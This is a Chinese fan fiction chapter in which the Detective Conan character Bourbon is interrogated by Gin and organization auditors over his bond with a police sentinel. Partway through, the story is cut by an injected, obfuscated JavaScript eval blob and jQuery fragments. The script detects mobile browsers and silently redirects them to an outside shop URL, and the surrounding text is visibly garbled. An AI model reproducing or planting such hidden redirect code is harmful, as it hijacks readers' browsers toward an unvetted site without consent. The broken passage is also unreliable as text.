波本推开会客室的门的时候,第一眼就看到了那头显眼的银色长发。
那是琴酒,坐在桌子左侧,旁边还坐着一个敦实的伏特加。
琴酒叼着烟,门一打开,他的目光立刻如鹰隼一般穿透烟雾,把波本全身上下扫描了一遍。
波本压下心里的情绪,脸上依旧保持着完美的微笑,向他点了点头。
说实话,在这里看见琴酒,真是一点儿也不令人意外呢。昨夜逃出基地的时候,波本就做好了琴酒会用枪顶住自己脑门的心理准备。
虽然追杀令被组织高层压下来了,但是在琴酒心里,波本大概已经是半个叛逃者了。
或者说,当初苏格兰暴露后,在琴酒心目中,波本就已经变得非常不可信了。
哪怕在苏格兰死后的审查里,全组织都已经相信了波本并没有包庇苏格兰、对卧底之事并不知情,也没有减少一丁点琴酒对他的怀疑。
不过在琴酒心里,全组织大概没几个人不值得怀疑。组织里其他人也习惯了。
对于组织高层来说,琴酒就是家里养的那只用来逮老鼠的猫——
猫不逮老鼠时吃了无辜小鸟、打碎古董花瓶、对着虚空哈气,那当然也只能选择原谅它啦。
……可惜波本知道,自己不是养猫的人,而是那只伪装成无辜小鸟的老鼠。
在场的还有三个人。波本只认识其中的莉莱白*——她坐在琴酒对面,也就是桌子右侧。
她是情报组这边的人事,主管情报组的风纪审查。
见波本进来,莉莱白微笑着向波本点点头,然后漫不经心地喝了口茶。
另外一男一女坐在桌子正对大门的地方,正悄无声息地打量着波本。波本不认识他们,但他猜测他们大概来自于后勤组。
这是三堂会审的节奏啊。
要是再来个研究所的人,这间会客室里就能凑齐组织的全部部门了。
不过……波本的视线转动,感到自己的微笑出现了一丝裂痕。
为什么基安蒂也在?她来干什么?
基安蒂坐在琴酒侧后方靠门的位置,眼珠子骨碌碌乱转。
琴酒也随着波本的视线看了一眼基安蒂。波本觉得自己可能眼花了,他居然从琴酒看基安蒂的眼神里看到了“你为什么还不走”的含义。
但基安蒂抱着茶杯看天看地看波本,就是不肯看琴酒,也不肯走。
琴酒盯了基安蒂半晌,最后啧了一声,转头又抽了一口烟。
波本很快调整了心态,坐到了离他最近的一把椅子上。
“琴酒大人,莉莱白女士,以及这边不认识的先生女士,你们今天找我过来,是有什么事?”
见没人说话,波本翘起二郎腿,双手十指交叉放在膝盖上,用一句废话作为开场白。
琴酒没有开口。桌子靠窗那边,波本不认识的一名男性成员说话了:
“波本,可以说说你昨晚去了哪里吗?”
“你是?”
“我是阿涅霍*,她是我的助手藤原。我们来自后勤组,专门负责代号成员的风纪审查。”
这个男人有一双冷漠的蓝眼睛:“我已经分别和三名高级哨兵确认过,你昨晚并没有和他们中的任何一个在一起。”
波本看了看琴酒和基安蒂,终于有点明白基安蒂为什么会出现在这里了。她是被叫来问询的。
莱伊应该也来过,只是问询结束就离开了。而基安蒂不知怎么,顺势就坐下了。
琴酒微微别开眼睛,狠狠吐了一口烟。
波本的笑容不知不觉多了几分真实。他点点头,对这位后勤组的代号成员说:
“没错,我没去找他们。我昨晚觉得禁闭室空气不好,就出门散了会儿步。”
他若有所指一般地说:“禁闭室里的空气,闻多了我怕会突然晕过去,醒来后身上还会多个来自后勤组的针眼。太糟糕了。”
“那你和谁结合了?”阿涅霍无视了波本话里的讽刺,微微眯起眼睛:“你是不是打算告诉我,你就像论坛上猜的那样,找了个中低级哨兵凑合?”
“……”波本意外地一挑眉,他没想到这个看上去一脸严肃的审查者居然也会刷组织论坛:“论坛?他们猜得确实挺有趣的。”
“别绕弯子了好吗,我们又不瞎!你绝对不是找中低级哨兵结合的!”基安蒂沉不住气了,一拍椅子扶手就开口了。
琴酒深深吸了口烟。
波本的微笑又甜又假:“哎呀,怎么会呢,我没打算这么说。算了,我直说吧。这是和我结合的哨兵的资料。”
然后他随手从提包里拿出一份文件,丢在了桌子中央。
助手藤原站起来,伸手拿起文件翻了翻——她的脸色立刻就变了,下意识地看了眼自己的上司,又看看波本,显得又茫然又震惊。
阿涅霍皱眉,放下茶杯,手指轻轻地敲了敲桌子。藤原一愣,回过神来,双手将文件递给了阿涅霍。
然后阿涅霍愣住了。他看着文件,又看看波本,眉头皱得死紧。然后将资料递给了情报组的莉莱白。
莉莱白看看资料,眼睛一下子瞪大了。她翻了几页,抬头看看波本,好像突发头痛一样捂住了额头,把资料放到了桌上。
伏特加一头雾水地拿起文件,看了一眼,立刻张大了嘴巴。他立刻送到了琴酒手上:“大哥,波本……波本他居然……”
琴酒皱起了眉头,从烟雾的缝隙里看了一眼波本。
他是唯一一个没有显得很震惊的人,但他的表情令基安蒂更是急得坐立不安。
基安蒂伸长了脖子,努力去看那份文件,但琴酒嫌弃地把文件立起来,挡住了她的视线。
波本倒是笑眯眯地喝了口茶,好像对他们的表情感到十分有趣。
琴酒看完文件,沉默片刻,把文件放在桌上用茶杯压住,然后看向波本:
“你是说,你找了个条子结合了?”
“是啊,”波本轻飘飘地说:“一个彻头彻尾的条子。真是花费了我不少力气。”
然后他舔了舔嘴唇,用一种回味的表情说:“官方的高级哨兵……又敏感又热情,滋味真是……挺不错的。”
基安蒂刚才还在为琴酒的话震惊,这会儿看向波本,露出好像看到了蟑螂一样的嫌弃眼神:“……下流!”
波本含笑回头看了她一眼,故意问:“怎么,你羡慕?”
基安蒂气得抓起茶杯就站了起来。琴酒狠狠瞪了她一眼,她顿了顿,又讪讪坐了回去。
这边阿涅霍皱眉打断了这无聊的斗嘴:“波本,请你解释你的行为。”
波本的笑容里似乎掺杂了一点意味不明的东西:“我策反了他。”
会客室里一时间陷入沉默。阿涅霍的手指像弹琴一样在桌上轻点一轮:“策反?一晚上的时间,睡一觉的功夫?”
“这当然……不可能啊。”波本笑着摩挲手上的茶杯:“我半年前就注意到这个条子了。他好像在查什么炸弹犯,查到了杯户进出口商业咨询那边——”
波本突然把脸转向琴酒,像是给琴酒解释一样,加了一句话:
“哦,那是后勤组的外围公司,去年给行动组购买装备,花了正品的价买了次品的货的那家。”
助手小姐脸都绿了。
但阿涅霍表情八风不动:“莉莱白女士?情报组有相关记录吗?”
莉莱白深吸一口气,拿出笔记本电脑敲敲打打,然后皱眉,看着波本摇了摇头:“没有记录。波本,你是忘了登记吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741971|209114||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
不等波本回答,阿涅霍就问道:“所以,波本,你发现官方调查到了组织的外围势力,却只是擅自接触了危险人物,而没有汇报给情报组吗?”
“那是因为我误会了一件事。”波本看了眼莉莱白,又看向阿涅霍,说:
“我接触他还不到一个月,他态度刚有点松动的时候,就遇到了一个陷阱,差点死在爆炸里。我看过那场爆炸的现场,明显用的是后勤组那阵子常用的炸弹。”
波本摊手:“我还以为后勤组已经注意到了他,决心要灭口了。那我自然多一事不如少一事。”
“后勤组的炸弹?”阿涅霍的眉头皱得更紧了。他问自己的助手:“藤原,最近半年后勤组有善后任务吗?”
藤原小姐在笔记本电脑上急匆匆敲了一阵,然后白着脸回答:“阿涅霍大人,没有。”
“啊,居然没有吗?我还以为你们只是单纯地没人跟进。”波本喝了口茶,说:
“毕竟那个条子只是进了医院,没有死。居然连任务都没有?后勤组没人注意到这个条子吗?哎呀,那我确实应该去汇报一下的。”
阿涅霍不说话了。莉莱白倒是笑起来了。她优雅地用手遮住嘴巴,笑得眉眼弯弯:“后勤组的流程……看来问题很大呀。所以你也没打算帮后勤组善后,对吗?波本,这样可太不团结啦。”
“为什么不杀了他?”琴酒冷眼看着情报组阴阳后勤组,直接回头看向波本:“不管发生了什么,这个条子已经查到外围公司了。波本,你是不是在包庇这个条子?”
他的眼睛危险地眯了起来:“你难道被条子策反了吗。”
这句话甚至没有问号。波本动作一顿,满脸不可思议:
“怎么可能……这个条子自己都不想继续给官方当狗好吗,还策反我?!我只是觉得既然后勤组不打算做事,我就继续策反他呗。难道我要去帮后勤组搞灭口吗?”
他指了指桌上的文件:“看看第三页,这个条子半年前还被他的长官处分过呢……他骂那些条子比我骂得还凶。”
琴酒没有去看文件。他只是又吐了口烟雾。
波本继续说:“后来他说,他和那个炸他的人有私人恩怨。只要我帮他弄死那个炸他的人,他就愿意跟我走。”
基安蒂听得津津有味,耳朵都竖起来了。阿涅霍平静地喝了口茶,但他的手指却不自觉地一直轻点着桌面。
波本用手指摸了摸下巴:
“我就觉得,要是把他策反来组织,那不是挺有趣的吗……后来我自己不知怎么的(重音强调)突然必须找人结合,就干脆去找他了。等等,”
波本突然故作惊讶地说:“哎呀,不对。那我岂不是要帮他杀一个后勤组的成员了……好糟糕。我之前怎么没想起来这件事呢。”
后勤组那边的藤原不知所措地看着阿涅霍。阿涅霍只是放下茶杯,说:“好的,我明白了。我们需要核实一些情况,后续可能还需要和你确认。72小时内,请保持联系方式畅通,波本。”
“……”琴酒的眼睛冷得像是他的精神体——那头巨大的西伯利亚白虎,而波本就是那只被他盯上的猎物狐狸。
他咬着香烟,薄薄的嘴唇向上掀起,露出锋利的牙齿:“我不相信你,波本。你好像总是和官方的狗搞在一起——苏格兰也是,这个条子也是。”
提到苏格兰,波本脸上一直挂着的笑容一下子消失了。
他的眼神阴沉,声音听上去又低又可怕,像是什么受伤野兽从嗓子眼里挤出来的低鸣:“就算是你,琴酒……别跟我提苏格兰。那个骗子。”
“……”琴酒看也不看波本,只是吐出一口烟雾,然后把烟头在烟灰缸里按灭,站起身来:“把你的新男友带过来。我要亲自过目。”